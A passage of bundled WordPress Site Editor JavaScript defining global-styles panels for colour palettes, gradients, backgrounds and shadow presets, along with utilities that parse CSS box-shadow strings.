children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Colors'),
description: (0,external_wp_i18n_namespaceObject.__)('Palette colors and the application of those colors on site elements.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 7,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(palette, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_colors_StylesColorPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings
})]
})
})]
});
}
/* harmony default export */ const screen_colors = (ScreenColors);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preset-colors.js
/**
* Internal dependencies
*/
function PresetColors() {
const {
paletteColors
} = useStylesPreviewColors();
return paletteColors.slice(0, 4).map(({
slug,
color
}, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
style: {
flexGrow: 1,
height: '100%',
background: color
}
}, `${slug}-${index}`));
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-colors.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const preview_colors_firstFrameVariants = {
start: {
scale: 1,
opacity: 1
},
hover: {
scale: 0,
opacity: 0
}
};
const StylesPreviewColors = ({
label,
isFocused,
withHoverView
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewWrapper, {
label: label,
isFocused: isFocused,
withHoverView: withHoverView,
children: ({
key
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
variants: preview_colors_firstFrameVariants,
style: {
height: '100%',
overflow: 'hidden'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 0,
justify: "center",
style: {
height: '100%',
overflow: 'hidden'
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PresetColors, {})
})
}, key)
});
};
/* harmony default export */ const preview_colors = (StylesPreviewColors);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-color.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function ColorVariations({
title,
gap = 2
}) {
const propertiesToFilter = ['color'];
const colorVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);
// Return null if there is only one variation (the default).
if (colorVariations?.length <= 1) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3,
children: [title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, {
spacing: gap,
children: colorVariations.map((variation, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Variation, {
variation: variation,
isPill: true,
properties: propertiesToFilter,
showTooltip: true,
children: () => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_colors, {})
}, index))
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-palette-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: color_palette_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const mobilePopoverProps = {
placement: 'bottom-start',
offset: 8
};
function ColorPalettePanel({
name
}) {
const [themeColors, setThemeColors] = color_palette_panel_useGlobalSetting('color.palette.theme', name);
const [baseThemeColors] = color_palette_panel_useGlobalSetting('color.palette.theme', name, 'base');
const [defaultColors, setDefaultColors] = color_palette_panel_useGlobalSetting('color.palette.default', name);
const [baseDefaultColors] = color_palette_panel_useGlobalSetting('color.palette.default', name, 'base');
const [customColors, setCustomColors] = color_palette_panel_useGlobalSetting('color.palette.custom', name);
const [defaultPaletteEnabled] = color_palette_panel_useGlobalSetting('color.defaultPalette', name);
const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small', '<');
const popoverProps = isMobileViewport ? mobilePopoverProps : undefined;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-global-styles-color-palette-panel",
spacing: 8,
children: [!!themeColors && !!themeColors.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
canReset: themeColors !== baseThemeColors,
canOnlyChangeValues: true,
colors: themeColors,
onChange: setThemeColors,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Theme'),
paletteLabelHeadingLevel: 3,
popoverProps: popoverProps
}), !!defaultColors && !!defaultColors.length && !!defaultPaletteEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
canReset: defaultColors !== baseDefaultColors,
canOnlyChangeValues: true,
colors: defaultColors,
onChange: setDefaultColors,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Default'),
paletteLabelHeadingLevel: 3,
popoverProps: popoverProps
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
colors: customColors,
onChange: setCustomColors,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Custom'),
paletteLabelHeadingLevel: 3,
slugPrefix: "custom-",
popoverProps: popoverProps
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorVariations, {
title: (0,external_wp_i18n_namespaceObject.__)('Palettes')
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/gradients-palette-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: gradients_palette_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const gradients_palette_panel_mobilePopoverProps = {
placement: 'bottom-start',
offset: 8
};
const noop = () => {};
function GradientPalettePanel({
name
}) {
const [themeGradients, setThemeGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.theme', name);
const [baseThemeGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.theme', name, 'base');
const [defaultGradients, setDefaultGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.default', name);
const [baseDefaultGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.default', name, 'base');
const [customGradients, setCustomGradients] = gradients_palette_panel_useGlobalSetting('color.gradients.custom', name);
const [defaultPaletteEnabled] = gradients_palette_panel_useGlobalSetting('color.defaultGradients', name);
const [customDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.custom') || [];
const [defaultDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.default') || [];
const [themeDuotone] = gradients_palette_panel_useGlobalSetting('color.duotone.theme') || [];
const [defaultDuotoneEnabled] = gradients_palette_panel_useGlobalSetting('color.defaultDuotone');
const duotonePalette = [...(customDuotone || []), ...(themeDuotone || []), ...(defaultDuotone && defaultDuotoneEnabled ? defaultDuotone : [])];
const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small', '<');
const popoverProps = isMobileViewport ? gradients_palette_panel_mobilePopoverProps : undefined;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-global-styles-gradient-palette-panel",
spacing: 8,
children: [!!themeGradients && !!themeGradients.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
canReset: themeGradients !== baseThemeGradients,
canOnlyChangeValues: true,
gradients: themeGradients,
onChange: setThemeGradients,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Theme'),
paletteLabelHeadingLevel: 3,
popoverProps: popoverProps
}), !!defaultGradients && !!defaultGradients.length && !!defaultPaletteEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
canReset: defaultGradients !== baseDefaultGradients,
canOnlyChangeValues: true,
gradients: defaultGradients,
onChange: setDefaultGradients,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Default'),
paletteLabelLevel: 3,
popoverProps: popoverProps
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalPaletteEdit, {
gradients: customGradients,
onChange: setCustomGradients,
paletteLabel: (0,external_wp_i18n_namespaceObject.__)('Custom'),
paletteLabelLevel: 3,
slugPrefix: "custom-",
popoverProps: popoverProps
}), !!duotonePalette && !!duotonePalette.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Duotone')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 3
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DuotonePicker, {
duotonePalette: duotonePalette,
disableCustomDuotone: true,
disableCustomColors: true,
clearable: false,
onChange: noop
})]
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-color-palette.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Tabs: screen_color_palette_Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
function ScreenColorPalette({
name
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Edit palette'),
description: (0,external_wp_i18n_namespaceObject.__)('The combination of colors used across the site and in color pickers.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(screen_color_palette_Tabs.TabList, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, {
tabId: "color",
children: (0,external_wp_i18n_namespaceObject.__)('Color')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.Tab, {
tabId: "gradient",
children: (0,external_wp_i18n_namespaceObject.__)('Gradient')
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, {
tabId: "color",
focusable: false,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorPalettePanel, {
name: name
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette_Tabs.TabPanel, {
tabId: "gradient",
focusable: false,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GradientPalettePanel, {
name: name
})
})]
})]
});
}
/* harmony default export */ const screen_color_palette = (ScreenColorPalette);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/background-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
// Initial control values where no block style is set.
const BACKGROUND_DEFAULT_VALUES = {
backgroundSize: 'auto'
};
const {
useGlobalStyle: background_panel_useGlobalStyle,
useGlobalSetting: background_panel_useGlobalSetting,
BackgroundPanel: background_panel_StylesBackgroundPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
/**
* Checks if there is a current value in the background image block support
* attributes.
*
* @param {Object} style Style attribute.
* @return {boolean} Whether the block has a background image value set.
*/
function hasBackgroundImageValue(style) {
return !!style?.background?.backgroundImage?.id || !!style?.background?.backgroundImage?.url || typeof style?.background?.backgroundImage === 'string';
}
function BackgroundPanel() {
const [style] = background_panel_useGlobalStyle('', undefined, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = background_panel_useGlobalStyle('', undefined, 'all', {
shouldDecodeEncode: false
});
const [settings] = background_panel_useGlobalSetting('');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(background_panel_StylesBackgroundPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings,
defaultValues: BACKGROUND_DEFAULT_VALUES
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-background.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHasBackgroundPanel: screen_background_useHasBackgroundPanel,
useGlobalSetting: screen_background_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenBackground() {
const [settings] = screen_background_useGlobalSetting('');
const hasBackgroundPanel = screen_background_useHasBackgroundPanel(settings);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Background'),
description: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
children: (0,external_wp_i18n_namespaceObject.__)('Set styles for the site’s background.')
})
}), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BackgroundPanel, {})]
});
}
/* harmony default export */ const screen_background = (ScreenBackground);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/confirm-reset-shadow-dialog.js
/**
* WordPress dependencies
*/
function ConfirmResetShadowDialog({
text,
confirmButtonText,
isOpen,
toggleOpen,
onConfirm
}) {
const handleConfirm = async () => {
toggleOpen();
onConfirm();
};
const handleCancel = () => {
toggleOpen();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isOpen,
cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
confirmButtonText: confirmButtonText,
onCancel: handleCancel,
onConfirm: handleConfirm,
size: "medium",
children: text
});
}
/* harmony default export */ const confirm_reset_shadow_dialog = (ConfirmResetShadowDialog);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: shadows_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
Menu: shadows_panel_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const defaultShadow = '6px 6px 9px rgba(0, 0, 0, 0.2)';
function ShadowsPanel() {
const [defaultShadows] = shadows_panel_useGlobalSetting('shadow.presets.default');
const [defaultShadowsEnabled] = shadows_panel_useGlobalSetting('shadow.defaultPresets');
const [themeShadows] = shadows_panel_useGlobalSetting('shadow.presets.theme');
const [customShadows, setCustomShadows] = shadows_panel_useGlobalSetting('shadow.presets.custom');
const onCreateShadow = shadow => {
setCustomShadows([...(customShadows || []), shadow]);
};
const handleResetShadows = () => {
setCustomShadows([]);
};
const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [isResetDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_reset_shadow_dialog, {
text: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to remove all custom shadows?'),
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Remove'),
isOpen: isResetDialogOpen,
toggleOpen: toggleResetDialog,
onConfirm: handleResetShadows
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Shadows'),
description: (0,external_wp_i18n_namespaceObject.__)('Manage and create shadow styles for use across the site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-global-styles__shadows-panel",
spacing: 7,
children: [defaultShadowsEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
label: (0,external_wp_i18n_namespaceObject.__)('Default'),
shadows: defaultShadows || [],
category: "default"
}), themeShadows && themeShadows.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
label: (0,external_wp_i18n_namespaceObject.__)('Theme'),
shadows: themeShadows || [],
category: "theme"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowList, {
label: (0,external_wp_i18n_namespaceObject.__)('Custom'),
shadows: customShadows || [],
category: "custom",
canCreate: true,
onCreate: onCreateShadow,
onReset: toggleResetDialog
})]
})
})]
});
}
function ShadowList({
label,
shadows,
category,
canCreate,
onCreate,
onReset
}) {
const handleAddShadow = () => {
const newIndex = getNewIndexFromPresets(shadows, 'shadow-');
onCreate({
name: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: is an index for a preset */
(0,external_wp_i18n_namespaceObject.__)('Shadow %s'), newIndex),
shadow: defaultShadow,
slug: `shadow-${newIndex}`
});
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
align: "center",
className: "edit-site-global-styles__shadows-panel__title",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: label
})
}), canCreate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-global-styles__shadows-panel__options-container",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: library_plus,
label: (0,external_wp_i18n_namespaceObject.__)('Add shadow'),
onClick: () => {
handleAddShadow();
}
})
}), !!shadows?.length && category === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(shadows_panel_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Shadow options')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Popover, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.Item, {
onClick: onReset,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(shadows_panel_Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Remove all custom shadows')
})
})
})]
})]
}), shadows.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: shadows.map(shadow => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShadowItem, {
shadow: shadow,
category: category
}, shadow.slug))
})]
});
}
function ShadowItem({
shadow,
category
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: `/shadows/edit/${category}/${shadow.slug}`,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: shadow.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
});
}
;// ./node_modules/@wordpress/icons/build-module/library/reset.js
/**
* WordPress dependencies
*/
const reset_reset = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M7 11.5h10V13H7z"
})
});
/* harmony default export */ const library_reset = (reset_reset);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadow-utils.js
const CUSTOM_VALUE_SETTINGS = {
px: {
max: 20,
step: 1
},
'%': {
max: 100,
step: 1
},
vw: {
max: 100,
step: 1
},
vh: {
max: 100,
step: 1
},
em: {
max: 10,
step: 0.1
},
rm: {
max: 10,
step: 0.1
},
svw: {
max: 100,
step: 1
},
lvw: {
max: 100,
step: 1
},
dvw: {
max: 100,
step: 1
},
svh: {
max: 100,
step: 1
},
lvh: {
max: 100,
step: 1
},
dvh: {
max: 100,
step: 1
},
vi: {
max: 100,
step: 1
},
svi: {
max: 100,
step: 1
},
lvi: {
max: 100,
step: 1
},
dvi: {
max: 100,
step: 1
},
vb: {
max: 100,
step: 1
},
svb: {
max: 100,
step: 1
},
lvb: {
max: 100,
step: 1
},
dvb: {
max: 100,
step: 1
},
vmin: {
max: 100,
step: 1
},
svmin: {
max: 100,
step: 1
},
lvmin: {
max: 100,
step: 1
},
dvmin: {
max: 100,
step: 1
},
vmax: {
max: 100,
step: 1
},
svmax: {
max: 100,
step: 1
},
lvmax: {
max: 100,
step: 1
},
dvmax: {
max: 100,
step: 1
}
};
function getShadowParts(shadow) {
const shadowValues = shadow.match(/(?:[^,(]|\([^)]*\))+/g) || [];
return shadowValues.map(value => value.trim());
}
function shadowStringToObject(shadowValue) {
/*
* Shadow spec: https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow
* Shadow string format: <offset-x> <offset-y> <blur-radius> <spread-radius> <color> [inset]
*
* A shadow to be valid it must satisfy the following.
*
* 1. Should not contain "none" keyword.
* 2. Values x, y, blur, spread should be in the order. Color and inset can be anywhere in the string except in between x, y, blur, spread values.
* 3. Should not contain more than one set of x, y, blur, spread values.
* 4. Should contain at least x and y values. Others are optional.
* 5. Should not contain more than one "inset" (case insensitive) keyword.
* 6. Should not contain more than one color value.
*/
const defaultShadow = {
x: '0',
y: '0',
blur: '0',
spread: '0',
color: '#000',
inset: false
};
if (!shadowValue) {
return defaultShadow;
}
// Rule 1: Should not contain "none" keyword.
// if the shadow has "none" keyword, it is not a valid shadow string
if (shadowValue.includes('none')) {
return defaultShadow;
}
// Rule 2: Values x, y, blur, spread should be in the order.
// Color and inset can be anywhere in the string except in between x, y, blur, spread values.
// Extract length values (x, y, blur, spread) from shadow string
// Regex match groups of 1 to 4 length values.
const lengthsRegex = /((?:^|\s+)(-?\d*\.?\d+(?:px|%|in|cm|mm|em|rem|ex|pt|pc|vh|vw|vmin|vmax|ch|lh)?)(?=\s|$)(?![^(]*\))){1,4}/g;
const matches = shadowValue.match(lengthsRegex) || [];
// Rule 3: Should not contain more than one set of x, y, blur, spread values.
// if the string doesn't contain exactly 1 set of x, y, blur, spread values,
// it is not a valid shadow string
if (matches.length !== 1) {
return defaultShadow;
}
// Extract length values (x, y, blur, spread) from shadow string
const lengths = matches[0].split(' ').map(value => value.trim()).filter(value => value);
// Rule 4: Should contain at least x and y values. Others are optional.
if (lengths.length < 2) {
return defaultShadow;
}
// Rule 5: Should not contain more than one "inset" (case insensitive) keyword.
// check if the shadow string contains "inset" keyword
const insets = shadowValue.match(/inset/gi) || [];
if (insets.length > 1) {
return defaultShadow;
}
// Strip lengths and inset from shadow string, leaving just color.
const hasInset = insets.length === 1;
let colorString = shadowValue.replace(lengthsRegex, '').trim();
if (hasInset) {
colorString = colorString.replace('inset', '').replace('INSET', '').trim();
}
// Rule 6: Should not contain more than one color value.
// validate color string with regular expression
// check if color has matching hex, rgb or hsl values
const colorRegex = /^#([0-9a-f]{3}){1,2}$|^#([0-9a-f]{4}){1,2}$|^(?:rgb|hsl)a?\(?[\d*\.?\d+%?,?\/?\s]*\)$/gi;
let colorMatches = (colorString.match(colorRegex) || []).map(value => value?.trim()).filter(value => value);
// If color string has more than one color values, it is not a valid
if (colorMatches.length > 1) {
return defaultShadow;
} else if (colorMatches.length === 0) {
// check if color string has multiple named color values separated by space
colorMatches = colorString.trim().split(' ').filter(value => value);
// If color string has more than one color values, it is not a valid
if (colorMatches.length > 1) {
return defaultShadow;
}
}
// Return parsed shadow object.
const [x, y, blur, spread] = lengths;
return {
x,
y,
blur: blur || defaultShadow.blur,
spread: spread || defaultShadow.spread,
inset: hasInset,
color: colorString || defaultShadow.color
};
}
function shadowObjectToString(shadowObj) {
const shadowString = `${shadowObj.x || '0px'} ${shadowObj.y || '0px'} ${shadowObj.blur || '0px'} ${shadowObj.spread || '0px'}`;
return `${shadowObj.inset ? 'inset' : ''} ${shadowString} ${shadowObj.color || ''}`.trim();
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/shadows-edit-panel.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: shadows_edit_panel_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
Menu: shadows_edit_panel_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const customShadowMenuItems = [{
label: (0,external_wp_i18n_namespaceObject.__)('Rename'),
action: 'rename'
}, {
label: (0,external_wp_i18n_namespaceObject.__)('Delete'),
action: 'delete'
}];
const presetShadowMenuItems = [{
label: (0,external_wp_i18n_namespaceObject.__)('Reset'),
action: 'reset'
}];
function ShadowsEditPanel() {
const {
goBack,
params: {
category,
slug
}
} = (0,external_wp_components_namespaceObject.useNavigator)();
const [shadows, setShadows] = shadows_edit_panel_useGlobalSetting(`shadow.presets.${category}`);
(0,external_wp_element_namespaceObject.useEffect)(() => {
const hasCurrentShadow = shadows?.some(shadow => shadow.slug === slug);
// If the shadow being edited doesn't exist anymore in the global styles setting, navigate back
// to prevent the user from editing a non-existent shadow entry.
// This can happen, for example:
// - when the user deletes the shadow
// - when the user resets the styles while editing a custom shadow
//
// The check on the slug is necessary to prevent a double back navigation when the user triggers
// a backward navigation by interacting with the screen's UI.
if (!!slug && !hasCurrentShadow) {
goBack();
}
}, [shadows, slug, goBack]);
const [baseShadows] = shadows_edit_panel_useGlobalSetting(`shadow.presets.${category}`, undefined, 'base');
const [selectedShadow, setSelectedShadow] = (0,external_wp_element_namespaceObject.useState)(() => (shadows || []).find(shadow => shadow.slug === slug));
const baseSelectedShadow = (0,external_wp_element_namespaceObject.useMemo)(() => (baseShadows || []).find(b => b.slug === slug), [baseShadows, slug]);
const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0,external_wp_element_namespaceObject.useState)(false);
const [isRenameModalVisible, setIsRenameModalVisible] = (0,external_wp_element_namespaceObject.useState)(false);
const [shadowName, setShadowName] = (0,external_wp_element_namespaceObject.useState)(selectedShadow.name);
if (!category || !slug) {
return null;
}
const onShadowChange = shadow => {
setSelectedShadow({
...selectedShadow,
shadow
});
const updatedShadows = shadows.map(s => s.slug === slug ? {
...selectedShadow,
shadow
} : s);
setShadows(updatedShadows);
};
const onMenuClick = action => {
if (action === 'reset') {
const updatedShadows = shadows.map(s => s.slug === slug ? baseSelectedShadow : s);
setSelectedShadow(baseSelectedShadow);
setShadows(updatedShadows);
} else if (action === 'delete') {
setIsConfirmDialogVisible(true);
} else if (action === 'rename') {
setIsRenameModalVisible(true);
}
};
const handleShadowDelete = () => {
setShadows(shadows.filter(s => s.slug !== slug));
};
const handleShadowRename = newName => {
if (!newName) {
return;
}
const updatedShadows = shadows.map(s => s.slug === slug ? {
...selectedShadow,
name: newName
} : s);
setSelectedShadow({
...selectedShadow,
name: newName
});
setShadows(updatedShadows);
};
return !selectedShadow ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: ""
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: selectedShadow.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginTop: 2,
marginBottom: 0,
paddingX: 4,
